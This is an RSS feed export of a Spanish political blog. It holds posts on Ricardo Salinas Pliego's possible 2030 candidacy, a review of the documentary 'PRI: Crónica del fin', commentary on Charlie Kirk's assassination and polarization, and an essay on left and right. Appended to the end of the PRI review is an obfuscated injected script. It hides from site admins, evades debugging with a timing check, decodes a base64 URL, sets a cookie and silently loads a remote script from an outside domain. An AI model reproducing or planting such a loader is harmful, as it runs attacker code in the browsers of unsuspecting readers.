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<li><a href="https://elcerebrohabla.com/2024/12/07/diez-libros-que-lei-este-2024-y-que-te-recomiendo/">Lista del 2024</a></li>
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<li><a href="https://elcerebrohabla.com/2023/12/09/diez-libros-que-lei-este-2023-y-que-te-recomiendo/" target="_blank" rel="noreferrer noopener">Lista del 2023</a></li>
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<li><a href="https://elcerebrohabla.com/2022/12/05/diez-libros-que-lei-este-2022-y-que-te-recomiendo/" target="_blank" rel="noreferrer noopener">Lista del 2022</a></li>
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<li><a href="https://elcerebrohabla.com/2021/12/23/diez-libros-que-lei-este-2021-y-que-te-recomiendo/" target="_blank" rel="noreferrer noopener">Lista del 2021</a></li>
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<li><a href="https://elcerebrohabla.com/2020/12/16/diez-libros-que-lei-este-2020-y-que-te-recomiendo/" target="_blank" rel="noreferrer noopener">Lista del 2020</a></li>
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<li><a href="https://elcerebrohabla.com/2019/11/28/diez-libros-que-lei-este-2019-y-que-te-recomiendo/">Lista del 2019</a></li>
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<li><a href="https://elcerebrohabla.com/2018/12/07/los-diez-libros-que-mas-me-gustaron-en-este-ano-y-que-recomiendo-que-leas/">Lista del 2018</a></li>
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<li><a href="https://elcerebrohabla.com/2017/12/03/los-12-mejores-libros-que-lei-este-ano-y-que-te-recomiendo-que-leas-en-2018/">Lista del 2017</a></li>
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<li><a href="https://elcerebrohabla.com/2016/12/27/10-libros-que-lei-este-ano-y-que-te-recomiendo-que-leas-en-2017/" target="_blank" rel="noreferrer noopener">Lista del 2016</a></li>
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</div></div></div></div></div><p>The post <a href="https://elcerebrohabla.com/2025/12/05/10-libros-que-lei-este-2025-y-que-te-recomiendo/">10 libros que leí este 2025 y que te recomiendo</a> first appeared on <a href="https://elcerebrohabla.com">El Cerebro Habla</a>.</p>]]></content:encoded>
					
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		<title>¿Tío Richie Presidente?: cómo Ricardo Salinas Pliego construye su narrativa rumbo a 2030</title>
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		<dc:creator><![CDATA[Cerebro]]></dc:creator>
		<pubDate>Sat, 11 Oct 2025 22:13:47 +0000</pubDate>
				<category><![CDATA[política]]></category>
		<category><![CDATA[temas polémicos]]></category>
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										<content:encoded><![CDATA[<div class="et_pb_section_3 et_pb_section et_section_regular et_block_section"><div class="et_pb_row_3 et_pb_row et_block_row"><div class="et_pb_column_3 et_pb_column et_pb_column_4_4 et-last-child et_block_column et_pb_css_mix_blend_mode_passthrough"><div class="et_pb_text_3 et_pb_text et_pb_bg_layout_light et_pb_module et_block_module"><div class="et_pb_text_inner"><p><img decoding="async" src="https://sdmntpreastus.oaiusercontent.com/files/00000000-9ce4-61f9-a716-8ddacaedd8cf/raw?se=2025-10-12T01%3A22%3A56Z&amp;sp=r&amp;sv=2024-08-04&amp;sr=b&amp;scid=c6f05322-8ded-56ba-aadd-6923d116ebf5&amp;skoid=f71d6506-3cac-498e-b62a-67f9228033a9&amp;sktid=a48cca56-e6da-484e-a814-9c849652bcb3&amp;skt=2025-10-12T00%3A01%3A53Z&amp;ske=2025-10-13T00%3A01%3A53Z&amp;sks=b&amp;skv=2024-08-04&amp;sig=WGXPBIQJMCIFxQd3ldsQBfc5chi6j80dJwBjNgPOfNU%3D" /></p>
<p data-start="273" data-end="447">En redes leo con frecuencia el “Tío Richie Presidente”. Aunque no ha dicho explícitamente que busca la grande, sus movimientos sugieren que lo considera seriamente. ¿Por qué?</p>
<p data-start="449" data-end="925">Salinas Pliego es de esos empresarios que disfrutan estar cerca del poder. Es innegable que en su trayectoria hay esfuerzo e ímpetu empresarial, pero también es evidente el impulso de sus conexiones políticas y la influencia que ejerce desde su televisora y sus nexos. Apoyó con fervor a López Obrador en 2018 —a quien llamaba amigo— y puso a su servicio lo que tenía a la mano. Incluso los programas sociales que hoy critica se apoyaron en la infraestructura de Banco Azteca.</p>
<p data-start="927" data-end="1572">Algo se rompió. En la superficie se dice que fue por los impuestos que, dicen,  el magnate adeuda (yo sospecho que hubo algo más). El giro fue abrupto: si al inicio de ese sexenio Javier Alatorre visitaba Dos Bocas y decía “Me canso ganso”, y Jorge Garralda elogiaba el AIFA, después vimos reportajes durísimos contra los libros de texto y comparaciones de la 4T con los peores regímenes colectivistas. Salinas se presentó como engañado: insiste en que AMLO no era quien creía y culpa a algunos “rijosos” que lo habrían asesorado mal. Como si no supiera quién era, o como si nunca hubiese percibido la vena populista y autoritaria que muchos advertimos.</p>
<p data-start="1574" data-end="2019">Pocos empresarios se han atrevido a cuestionar frontalmente al régimen. Mientras algunos callan para “no tener problemas” y otros se benefician con acuerdos y licitaciones "en infínitum", Salinas lo confronta usando los mismos recursos con los que antes lo apoyó. Además, se construyó un perfil público más agresivo: usa sus redes para defender su visión y atacar a los funcionarios que lo critican. Así nació ese personaje que hoy no deja a nadie indiferente.</p>
<p data-start="1574" data-end="2019"><img decoding="async" src="https://sdmntprcentralus.oaiusercontent.com/files/00000000-5484-61f5-b725-6b8d85d57e3d/raw?se=2025-10-12T01%3A22%3A56Z&amp;sp=r&amp;sv=2024-08-04&amp;sr=b&amp;scid=5e96f570-f8ca-56df-af49-681c10d578ed&amp;skoid=f71d6506-3cac-498e-b62a-67f9228033a9&amp;sktid=a48cca56-e6da-484e-a814-9c849652bcb3&amp;skt=2025-10-11T06%3A44%3A44Z&amp;ske=2025-10-12T06%3A44%3A44Z&amp;sks=b&amp;skv=2024-08-04&amp;sig=O39BhgUS/mUV3Ot1ojFHG50R8yBjA2c2TNH0DeX7nRA%3D" /></p>
<p data-start="2021" data-end="2258">A esta postura —que más de uno ve como valentía— se suma su creciente simpatía por ideas libertarias y un discurso abiertamente polarizante contra la 4T que ha calado en sectores de derecha, los mismos que lo adoptaron como “Tío Richie”.</p>
<p data-start="2260" data-end="2897">Salinas presume no ser parte de la hoy oposición partidista moribunda, aunque en algún momento llegó a formar lazos con ella cuando estuvo en el poder. Tomó nota del fenómeno Milei en Argentina y, poco a poco, adoptó sus símbolos y estética. Con eso ha sabido contrastar con el régimen y plantearse como alternativa sin bailar al son del oficialismo (algo que los partidos opositores no lograron). No se enreda tanto en nociones como democracia o separación de poderes —importantes pero a veces abstractas—, sino que contrapone libertad (libertad negativa en el sentido de Isaiah Berlin) vs. esclavitud (la que, según él, representa la 4T con autoritarismo y dádivas).</p>
<p data-start="2899" data-end="3268">En ese marco, Salinas acertó al producir un documental propagandístico para empujar su narrativa y la confrontación. Invitó a Juan Miguel Zunzunegui, un historiador medianito y menor pero con buena retórica y capacidad de divulgación para transmitir sus ideas a la gente común. A los especialistas el documental les parecerá frívolo; a los no especializados, preocupados por la 4T y ajenos a sus valores, puede hacer clic.</p>
<p data-start="3270" data-end="3774">Salinas Pliego es un empresario polémico. Además de mantener empresas importantes y muy conocidas como TV Azteca, Elektra o TotalPlay, también se ha envuelto en escándalos: años atrás envió un comando armado para tomar las instalaciones de CNI Canal 40 en el Cerro del Chiquihuite. También usa su televisora para golpear empresarios competidores o políticos incómodos: desde Cuauhtémoc Cárdenas (con el caso Paco Stanley) hasta Citlalli Hernández, de quien se burló por su peso incluso en pantalla. En Estados Unidos ha sido acusado de corromper jueces y violar órdenes, por lo que pagó fianza. Y en redes, sus críticas generan polémica constante.</p>
<p data-start="3776" data-end="4263">Ese perfil, en condiciones de normalidad, sería un lastre; en la coyuntura actual podría jugarle a favor: lo muestra envalentonado, dispuesto a hacer lo que quiere y a conseguirlo como sea; un Trump tropical —aunque ideológicamente más cercano a Milei. Ante un gobierno percibido por algunos como corrupto, asistencialista e ineficiente (y razones no les faltan), un “macho alfa” que se presente como lo diametralmente opuesto puede resultar atractivo (aunque algunos dirán que, en corrupción, Salinas tal vez no sea precisamente ejemplar).</p>
<p data-start="3776" data-end="4263"><img decoding="async" src="https://sdmntprjapaneast.oaiusercontent.com/files/00000000-5b84-6209-8795-51cea7e14245/raw?se=2025-10-12T01%3A22%3A57Z&amp;sp=r&amp;sv=2024-08-04&amp;sr=b&amp;scid=4520f6e9-9ca7-565d-bb7e-20cb15eb60c8&amp;skoid=f71d6506-3cac-498e-b62a-67f9228033a9&amp;sktid=a48cca56-e6da-484e-a814-9c849652bcb3&amp;skt=2025-10-11T23%3A54%3A47Z&amp;ske=2025-10-12T23%3A54%3A47Z&amp;sks=b&amp;skv=2024-08-04&amp;sig=s6hawtr5JN9KpEh8LIxD3ClHhrXTzq38URqKAomTiTY%3D" />¿Sus probabilidades de ser presidente en 2030 si decide lanzarse? Es temprano para un pronóstico fino, pero no la tiene fácil:</p>
<ol data-start="4393" data-end="4677">
<li data-start="4393" data-end="4522">
<p data-start="4396" data-end="4522">Necesita plataforma: que lo cobijen partidos de oposición o, al menos, uno con aspiraciones reales de conservar el registro.</p>
</li>
<li data-start="4523" data-end="4677">
<p data-start="4526" data-end="4677">Competiría en una elección organizada por un árbitro cuya confiabilidad hoy se discute más que antes, con un gobierno quizá con mayor margen de acción y sin contrapesos.</p>
</li>
</ol>
<p data-start="4679" data-end="5489">Si sortea esos dos obstáculos, su destino estará atado a la coyuntura económica (más que a la seguridad). En Twitter la indignación contra la 4T abunda —ahí está su nicho—, pero Twitter no es México. Al día de hoy el gobierno de Claudia Sheinbaum es muy popular (sí, incluso con escándalos como el huachicol o el enriquecimiento dudoso de figuras clave). Si en 2030 el panorama luce parecido, veo difícil que Salinas sea un contendiente que inquiete demasiado al régimen. Pero si la economía se deteriora y la gente siente el golpe en el bolsillo —como en Argentina con Milei—, entonces su discurso podría embonar y crecer como espuma, atrayendo sobre todo a gente apática que de otra forma no hubiera salido a votar. En una mala economía, un empresario que hable de mercado, libertad y progreso, y que sea recordado por confrontar al régimen, puede volverse rentable.</p>
<p data-start="5491" data-end="5730">Puede que, aun intentándolo, no prospere. Pero no es alguien a quien el oficialismo deba subestimar ni dar por muerto, menos en estos tiempos. De hecho, la virulencia con que lo atacan podría fortalecerlo en la oposición (hoy minoritaria).</p>
<p data-start="5732" data-end="6147" data-is-last-node="" data-is-only-node="">Otra discusión es imaginar un eventual gobierno suyo: si tomaría buenas medidas económicas y sanearía lo dañado por la 4T; si usaría el poder para beneficiar a sus empresas y castigar a quien le incomode; y cómo gobernaría sin algo ni remotamente parecido a una mayoría en el Congreso. No lo sabemos. Hoy es demasiado pronto para construir escenarios de alguien que ni siquiera ha confirmado que lo vaya a intentar.</p>
</div></div></div></div></div><p>The post <a href="https://elcerebrohabla.com/2025/10/11/tio-richie-presidente-como-ricardo-salinas-pliego-construye-su-narrativa-rumbo-a-2030/">¿Tío Richie Presidente?: cómo Ricardo Salinas Pliego construye su narrativa rumbo a 2030</a> first appeared on <a href="https://elcerebrohabla.com">El Cerebro Habla</a>.</p>]]></content:encoded>
					
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		<title>PRI: Crónica del fin (mi reseña)</title>
		<link>https://elcerebrohabla.com/2025/09/28/pri-cronica-del-fin-mi-resena/</link>
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		<dc:creator><![CDATA[Cerebro]]></dc:creator>
		<pubDate>Mon, 29 Sep 2025 03:01:24 +0000</pubDate>
				<category><![CDATA[reflexión]]></category>
		<category><![CDATA[sociedad]]></category>
		<category><![CDATA[temas polémicos]]></category>
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										<content:encoded><![CDATA[<div class="et_pb_section_5 et_pb_section et_section_regular et_block_section"><div class="et_pb_row_5 et_pb_row et_block_row"><div class="et_pb_column_5 et_pb_column et_pb_column_4_4 et-last-child et_block_column et_pb_css_mix_blend_mode_passthrough"><div class="et_pb_text_5 et_pb_text et_pb_bg_layout_light et_pb_module et_block_module"><div class="et_pb_text_inner"><p><!-- wp:image {"id":22890,"sizeSlug":"full","linkDestination":"none"} --></p>
<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1536" height="1024" src="https://elcerebrohabla.com/wp-content/uploads/image-305.png" alt="" class="wp-image-22890" srcset="https://elcerebrohabla.com/wp-content/uploads/image-305.png 1536w, https://elcerebrohabla.com/wp-content/uploads/image-305-1280x853.png 1280w, https://elcerebrohabla.com/wp-content/uploads/image-305-980x653.png 980w, https://elcerebrohabla.com/wp-content/uploads/image-305-480x320.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1536px, 100vw" /></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p>Acabo de terminar de ver el documental sobre el PRI de Denisse Maerker que está publicada en VIX. ¿Es buena? Sí ¿La recomiendo? Sí. Pero tampoco te esperes una obra maestra. A pesar de ser interesante, creo que el documental tiene algunos problemas y en algunos aspectos se queda corta. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>La serie <em>PRI: Crónica del fin</em> resulta interesante no tanto por lo novedoso de su contenido, sino porque ofrece la oportunidad de escuchar a varios protagonistas (sobre todo del viejo partido, algunos con trayectorias turbias) reflexionando sobre su propio declive. No es una joya del género documental, pero cumple con su propósito: narrar la caída de un régimen que durante décadas marcó la vida política del país.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Para quienes disfrutamos de la historia y la política mexicana, mucho de lo que ahí se cuenta es ya conocido. Sin embargo, la serie revela matices que llaman la atención, como el resentimiento que algunos priístas todavía sienten hacia Ernesto Zedillo, a quien acusan de haber detestado a su propio partido. Aunque parciales por razones muy lógicas y seguramente sin revelar todo lo que saben, es interesante escuchar cómo los propios priístas vivieron el declive de su partido y como se esfuerzan (muchas veces sin éxito) en hacer una suerte de autocrítica. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>También es valioso asomarse a los conflictos internos entre los dos grandes bloques del PRI que fueron fundamentales en la ruptura de este partido: los tecnócratas y los revolucionarios o estatistas. Esa fractura explica en buena medida la posterior consolidación de la izquierda como oposición desde la escisión de los "revolucionarios" de la mano de Cuauhtémoc Cárdenas y la posterior absorción de los cuadros por parte del régimen de López Obrador, el cual, paradójicamente, al llegar al poder terminó heredando varias de las viejas prácticas priístas que hoy siguen vigentes.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>El último capítulo me parece el más sólido, pues aborda con claridad la candidatura y el gobierno de Peña Nieto, al cual se muestra como un personaje que trajo un paquete de propuestas ambiciosas (Pacto por México) pero que tuvo varios desaciertos políticos (producto, mencionan los testigos, de su inexperiencia) así como escándalos que terminaron descarrilando su presidencia para, desde ahí, trazar la línea directa hacia el estado actual del PRI: un partido disminuido, sin proyecto ni liderazgo, cuyo resurgimiento luce cada vez más improbable. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Aunque como dijo el Jefe Diego cuando Denisse le preguntó si el PRI estaba muerto: el PRI se quitó la chaqueta tricolor para ponerse la moradita. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":22891,"sizeSlug":"full","linkDestination":"none"} --></p>
<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1536" height="1024" src="https://elcerebrohabla.com/wp-content/uploads/image-306.png" alt="" class="wp-image-22891" srcset="https://elcerebrohabla.com/wp-content/uploads/image-306.png 1536w, https://elcerebrohabla.com/wp-content/uploads/image-306-300x200.png 300w, https://elcerebrohabla.com/wp-content/uploads/image-306-645x430.png 645w, https://elcerebrohabla.com/wp-content/uploads/image-306-768x512.png 768w, https://elcerebrohabla.com/wp-content/uploads/image-306-1080x720.png 1080w" sizes="(max-width: 1536px) 100vw, 1536px" /></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p>En ese cierre radica, quizás, la mayor virtud de la serie porque deja ver que el colapso es contundente y, como dijera Juan Villoro parafraseando a Marx en el <a href="https://es.wikipedia.org/wiki/El_18_de_brumario_de_Luis_Bonaparte">El 18 de brumario de Luis Bonaparte</a>, repitieron su historia primero como tragedia y luego como farsa. Las reflexiones finales del Jefe Diego y Marcelo Ebrard son contundentes. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Sin embargo, el documental queda lejos de ser exhaustivo y por momentos se queda corto. Elude, por ejemplo, la relación simbiótica entre el PRI y los medios de comunicación, particularmente Televisa, y que se repitiera en la campaña de Enrique Peña Nieto. No es un detalle menor, y menos aún cuando la serie es producida y difundida precisamente por esa empresa. Esto es algo paradójico, ya que uno de los puntos fuertes de la serie es el acceso al acervo histórico que tiene Televisa que nos permitió ver varias escenas que no habíamos visto, al menos en Internet u otro tipo de documentales. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Tampoco se profundiza del todo en episodios cruciales como el asesinato de Colosio, el de Ruiz Massieu, la devaluación de 1994 o la represión del 68, que aparece apenas mencionada de forma superficial y que fue muy importante ya que este evento fue, a mi parecer, una de las primeras fisuras que comenzaron a aparecer en el priismo. Creo que los documentales de Enrique Krauze sobre los presidentes que fueron transmitidos ya hace tiempo (y que pueden encontrarse en YouTube) hacen una mejor cobertura de estos temas. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Entiendo que la intención era concentrarse en la erosión del partido, pero un contexto más amplio habría fortalecido la narrativa, sobre todo para aquellos que no conocen tanto de su historia. Un capítulo adicional para situar los orígenes del PRI, y explorar esos episodios clave habría hecho la diferencia, especialmente para las nuevas generaciones que se acercan por primera vez a esta historia. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>En suma, <em>PRI: Crónica del fin</em> es una serie recomendable que pasa la prueba, pero limitada como para convertirse en "el documental" que nos transitara de las épocas "gloriosas" del PRI al ocaso de un partido que moldeó al México moderno y que hoy parece condenado a ser apenas una sombra de sí mismo.</p>
<p><!-- /wp:paragraph --><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
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		<title>Una bala le dio a Charlie Kirk, la otra le dio a la democracia</title>
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		<dc:creator><![CDATA[Cerebro]]></dc:creator>
		<pubDate>Fri, 12 Sep 2025 04:07:34 +0000</pubDate>
				<category><![CDATA[política]]></category>
		<category><![CDATA[reflexión]]></category>
		<category><![CDATA[sociedad]]></category>
		<category><![CDATA[temas polémicos]]></category>
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										<content:encoded><![CDATA[<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="819" height="555" src="https://elcerebrohabla.com/wp-content/uploads/image-304.png" alt="" class="wp-image-22884" srcset="https://elcerebrohabla.com/wp-content/uploads/image-304.png 819w, https://elcerebrohabla.com/wp-content/uploads/image-304-480x325.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 819px, 100vw" /></figure>



<h3 class="wp-block-heading">La peligrosa espiral de polarización</h3>



<p class="wp-block-paragraph">Creo que la polarización creciente que se vive en Estados Unidos, y en buena medida en Occidente, terminará muy mal.</p>



<p class="wp-block-paragraph">Los cimientos de la democracia están tambaleando. La democracia no es solo ir a votar; es también un consenso tácito: el acuerdo de que nuestras diferencias no se resolverán mediante la violencia. Y ese consenso se está rompiendo.</p>



<p class="wp-block-paragraph">Desde 2016, con la llegada de Donald Trump al poder y la aparición de sectores fascistoides en la derecha —como la Alt-Right— junto con una izquierda iliberal, poco dispuesta a debatir y más inclinada a cancelar, algunos comenzaron a advertir sobre el peligro de la polarización. Ocho años después, no solo sigue ahí: se ha agravado, y no parece haber un freno.</p>



<p class="wp-block-paragraph">Pero esta fractura no nació con Trump, ni con la derecha iliberal, ni con lo que algunos llaman la “izquierda woke”. Todo eso son apenas síntomas de un proceso mucho más largo, una polarización que lleva gestándose décadas y que hoy amenaza con arrastrarnos a un escenario muy oscuro.</p>



<h3 class="wp-block-heading">La explicación de Ezra Klein</h3>



<p class="wp-block-paragraph">En <em>Why We’re Polarized</em>, <a href="https://www.gatesnotes.com/why-were-polarized" target="_blank" rel="noopener" title="">Ezra Klein</a> sostiene que la polarización es el resultado acumulativo de múltiples factores. Uno de los más relevantes es la transformación ideológica de los partidos: desde los años sesenta, demócratas y republicanos comenzaron a distanciarse hasta el punto en que las familias de congresistas de diferentes partidos, que antes podían convivir sin problema, hoy casi no se relacionan.</p>



<p class="wp-block-paragraph">A eso se sumó la irrupción de la televisión por cable, que segmentó a las audiencias con noticieros diseñados para reforzar identidades políticas. Así se construyeron burbujas ideológicas en las que la gente se acostumbró a escuchar solo lo que confirmaba lo que ya pensaba.</p>



<p class="wp-block-paragraph">Las redes sociales aceleraron aún más este proceso, aunque <a href="https://il.boell.org/en/2022/03/04/what-are-filter-bubbles-and-digital-echo-chambers" target="_blank" rel="noopener" title="">de una forma más compleja de lo que se suponía con la idea de “cámaras de eco”</a>. Lo cierto es que transformaron por completo la manera en que nos informamos, debatimos y compartimos. Nos arrojaron a un entorno comunicativo para el cual todavía no sabemos adaptarnos.</p>



<h3 class="wp-block-heading">El asesinato de Charlie Kirk</h3>



<p class="wp-block-paragraph">El cobarde asesinato de Charlie Kirk es otro síntoma de esta dinámica: una polarización que se retroalimenta, donde los discursos de odio se intensifican, las facciones se detestan cada vez más y los puentes de comunicación están rotos.</p>



<p class="wp-block-paragraph">Personalmente, mucho de lo que decía Kirk me parecía aberrante: solía estigmatizar a migrantes y a personas con otra orientación o identidad sexual. Aun así, considero que Ezra Klein (progresista) tiene un punto en algo que escribió en <em>The New York Times</em>: más allá de lo que pensáramos de sus ideas, <a href="https://www.nytimes.com/2025/09/11/opinion/charlie-kirk-assassination-fear-politics.html?unlocked_article_code=1.lE8.QXij.9eyQf5EkrM22&amp;smid=url-share" target="_blank" rel="noopener" title="">Kirk hacía política de la forma correcta en un sentido dinámico</a>. Iba a universidades y debatía con quienes quisieran enfrentarlo, generando un intercambio de ideas. Paradójico, sí: alguien con posturas intolerantes que, al mismo tiempo, estaba dispuesto a confrontarlas en público.</p>



<p class="wp-block-paragraph">Aunque hoy no conocemos al asesino ni sus motivaciones, es altamente probable que discrepaba con las ideas de Kirk. Si él era ultraconservador, lo lógico es pensar que quien lo mató provenía de la izquierda. Y si ese fue el caso, no sería más que otro ejemplo de cómo la violencia política engendra más violencia política.</p>



<h3 class="wp-block-heading">Redes sociales y discursos de odio</h3>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="822" height="580" src="https://elcerebrohabla.com/wp-content/uploads/image-302.png" alt="" class="wp-image-22882" srcset="https://elcerebrohabla.com/wp-content/uploads/image-302.png 822w, https://elcerebrohabla.com/wp-content/uploads/image-302-480x339.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 822px, 100vw" /></figure>



<p class="wp-block-paragraph">Twitter mostró enseguida el efecto. Muchos aprovecharon para declarar que “la izquierda es asesina” o que “esto es una guerra contra la izquierda”. La narrativa de “nosotros los buenos, ellos los malos”.</p>



<p class="wp-block-paragraph">Pero la realidad es que ambos extremos han contribuido a este clima. También hemos visto violencia de la derecha: el asesinato de la congresista demócrata Melissa Hortman o el intento de secuestro de Nancy Pelosi, que Trump no condenó sino que ridiculizó.</p>



<p class="wp-block-paragraph">Afirmar que “la izquierda” o “la derecha” es asesina es una generalización absurda, pero es un discurso útil para estigmatizar al adversario. Y es justo esa banalización la que acelera la polarización: que desde la izquierda se tache de “fascista” a cualquiera con ideas diferentes, o que desde la derecha se lancen eslóganes como “zurdos de mierda”, alentando incluso a romper vínculos familiares con quien piense distinto, como promueve Agustín Laje.</p>



<h3 class="wp-block-heading">El dilema moral</h3>



<p class="wp-block-paragraph">Entiendo que haya personas incapaces de empatizar con Kirk (<a href="https://x.com/FortunateRamen/status/1965862068474843213" target="_blank" rel="noopener" title="">quien detestaba la idea de la empatía</a>), sobre todo quienes se sintieron directamente afectados por sus dichos. Sin embargo, cualquiera con un mínimo de sensatez debería condenar lo ocurrido y rechazar la violencia contra cualquier persona.</p>



<p class="wp-block-paragraph">Es cierto que la mayoría de los opositores a Trump y a las ideas de Kirk condenaron el asesinato, pero también hubo quienes dijeron que “se lo merecía” o incluso lo celebraron. Ese es el nivel de degradación moral al que hemos llegado.</p>



<h3 class="wp-block-heading">¿Se puede frenar?</h3>



<p class="wp-block-paragraph">Esta violencia política, al tiempo que posiblemente desencadene en más violencia política, seguramente también ocasionará que tanto la derecha como la izquierda que quieran expresar algo (esta por medio a represalias) se terminen autocensurando cada vez más temiendo que algo similar pueda pasar. A raíz de lo que ocurrió, Comedy Central decidió <a href="https://nypost.com/2025/09/11/media/comedy-central-pulls-south-park-episode-mocking-charlie-kirk-after-assassination/" target="_blank" rel="noopener" title="">remover la parodia que South Park hizo de Charlie Kirk</a> producto de activistas de MAGA que, enojados, comenzaron a culpar a la serie de lo ocurrido y tanto los demócratas Gavin Newsom, Alexandra Ocasio-Cortez como el derechista Ben Shapiro, decidieron, por la misma razón, <a href="https://www.axios.com/2025/09/11/charlie-kirk-hbcu-threats-ben-shapiro" target="_blank" rel="noopener" title="">posponer o cancelar sus próximos eventos públicos</a>. </p>



<p class="wp-block-paragraph">¿Cómo detener este clima de odio? No lo sé. Como dije al principio, no soy optimista. Creo que esto terminará en un escenario doloroso y que solo cuando toquemos fondo podremos reflexionar y construir un nuevo consenso. La polarización, el desgaste de la democracia liberal y así como los cambios geopolíticos no muestran un futuro prometedor. </p>



<p class="wp-block-paragraph">Me gustaría que pudiéramos promover un espacio donde las ideas se enfrenten sin miedo, donde el debate y la confrontación civilizada sean posibles. Pero quizá ya hemos entrado en un punto de no retorno. Y si un hecho tan lamentable como este sirve de pretexto para odiar más en lugar de reflexionar, entonces el panorama es aún más sombrío de lo que imaginamos.</p>



<p class="wp-block-paragraph"> </p>
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		<title>¿Por qué seguimos hablando de izquierda y derecha?</title>
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		<dc:creator><![CDATA[Cerebro]]></dc:creator>
		<pubDate>Mon, 04 Aug 2025 02:22:16 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
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					<description><![CDATA[<p>Ay con estos conceptos. Un esquema meramente binario que no solo sirve para categorizar orientaciones políticas, sino para construir identidades: ¡Yo soy de izquierda! ¡Yo soy de derecha! Y claro, intentar reducir las ideologías políticas a dos categorías suele derivar en muchísimas ambigüedades. Peor aún: dado que estos conceptos son inherentemente políticos, corren el riesgo [&#8230;]</p>
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<p class="wp-block-paragraph">Ay con estos conceptos.</p>



<p class="wp-block-paragraph">Un esquema meramente binario que no solo sirve para categorizar orientaciones políticas, sino para construir identidades: ¡Yo soy de izquierda! ¡Yo soy de derecha!</p>



<p class="wp-block-paragraph">Y claro, intentar reducir las ideologías políticas a dos categorías suele derivar en muchísimas ambigüedades. Peor aún: dado que estos conceptos son inherentemente políticos, corren el riesgo de manipularse (como suele ocurrir) para acomodar narrativas, distorsionar significados según convenga, hacer juicios de valor, o marcar una división simplista entre "nosotros" y "ellos".</p>



<p class="wp-block-paragraph">Además, el hecho de que los conceptos de izquierda y derecha parezcan cambiar según la época complica aún más las cosas. Frente a esta confusión, algunos han decidido incluso afirmar que estas etiquetas están ya obsoletas.</p>



<p class="wp-block-paragraph">Sin embargo, hay una definición que ha resistido al paso del tiempo y que permanece constante desde la Revolución Francesa hasta nuestros días. Me refiero, por supuesto, a la definición de Norberto Bobbio:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">La izquierda se define por la intención de reducir la desigualdad, la derecha por la aceptación, o incluso la justificación, de la desigualdad</p>
</blockquote>


<p data-pm-slice="1 3 []">No es el mercado ni es el tamaño del Estado; es la actitud ante la igualdad y la desigualdad.</p>
<p>Por ejemplo, la izquierda de la Revolución Francesa no era socialista, pero sí buscaba una mayor igualdad ante la ley y la abolición de los privilegios del clero y la nobleza. La izquierda socialista posteriormente buscó igualdad económica, mientras que la izquierda cultural hoy promueve la igualdad entre sexos, orientaciones sexuales, razas y minorías. Así:</p>
<ul data-spread="false">
<li>
<p>En la Revolución Francesa, se contrapuso la igualdad ante la ley frente a los privilegios nobiliarios y clericales.</p>
</li>
<li>
<p>En el siglo XX, se confrontó la igualdad económica frente a la desigualdad atribuida al esfuerzo, talento o mérito individual.</p>
</li>
<li>
<p>En la izquierda cultural actual, se opone la equidad de género a los roles tradicionales (hombre proveedor, mujer cuidadora del hogar).</p>
</li>
</ul>
<h2>Confusiones por ahí:</h2>
<p data-pm-slice="1 1 []">Algunas personas sostienen que lo que define a izquierda y derecha es el nivel de estatismo: según esto, la izquierda sería más estatista y la derecha menos. De ahí incluso surgen afirmaciones que contraponen la igualdad a la libertad negativa.</p>
<p>Esto se concluye porque, efectivamente, la izquierda económica suele recurrir al Estado para redistribuir riqueza. Pero recordemos que el Estado es un medio, no un fin en sí mismo.</p>
